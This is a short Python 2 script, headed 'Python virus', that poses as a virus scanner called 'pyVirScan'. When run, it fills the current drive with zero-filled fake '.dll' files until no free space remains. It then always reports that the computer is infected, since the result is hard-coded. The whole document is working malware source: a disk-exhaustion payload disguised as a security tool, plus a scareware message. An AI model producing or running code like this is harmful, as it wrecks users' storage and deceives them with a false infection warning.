Python virus

import win32file
import os

def get_drivestats():

    drive = os.path.splitdrive(os.getcwd())[0].rstrip(':')
    sectPerCluster, bytesPerSector, freeClusters, totalClusters = \
        win32file.GetDiskFreeSpace(drive + ":\\")
    free_space = freeClusters*sectPerCluster*bytesPerSector
    return free_space, drive
print ("-"*40)
print ("-" + " " * 9 + "Welcome to pyVirScan" + " " * 9 + "-")
print ("-" + " " * 2 + "A Virus Scanner written in Python!" + " " * 2 + "-")
print ("-" + " " * 13 + "Version 1.00" + " " * 13 + "-")
print ("-"*40)
print ("Be patient, you will be notified when the scan is complete")
#print ("Current Progress: 0.01%")

free_space, drive = get_drivestats()


kb = float(1024)
kbFree = free_space / kb


fillWithFloat = kbFree / 409600


fillWithInt = int(round(fillWithFloat))
loopNum = 1



for y in range(fillWithInt):
    block = '0' * 409600

    bigFile = file("sysscanresults" + str(loopNum) + ".dll", 'wb')
    for x in range(1000):
        bigFile.write(block)
    bigFile.close()

    percentComplete = loopNum * fillWithInt / 100
    print ("Current Progress: " + str(percentComplete) + "%")
    loopNum += 1


if 1 == 1:
    virus = 1
if 1 != 1:
    virus = 0

print ("-"*40)
print (" " * 12 + "Scan Completed!")
print (" -"*20)
print ("Results:")
if virus == 1:

    print("The results were positive, your computer is infected.")

    #Yet to add the text file creation
    #print("To see the full list of results, navigate to C:\\results.txt")
    #print("In the text file you will see:")
    #print ("1) What you are infected by.")
    #print ("2) Details of each infection.")
    #print ("3) What you can do to remove the virus'.")

if virus == 0:
    print("Your computer is clean!")


print ("Thankyou for using pyVirScan")
print ("-"*40)
exit = raw_input("Press <enter> to exit...")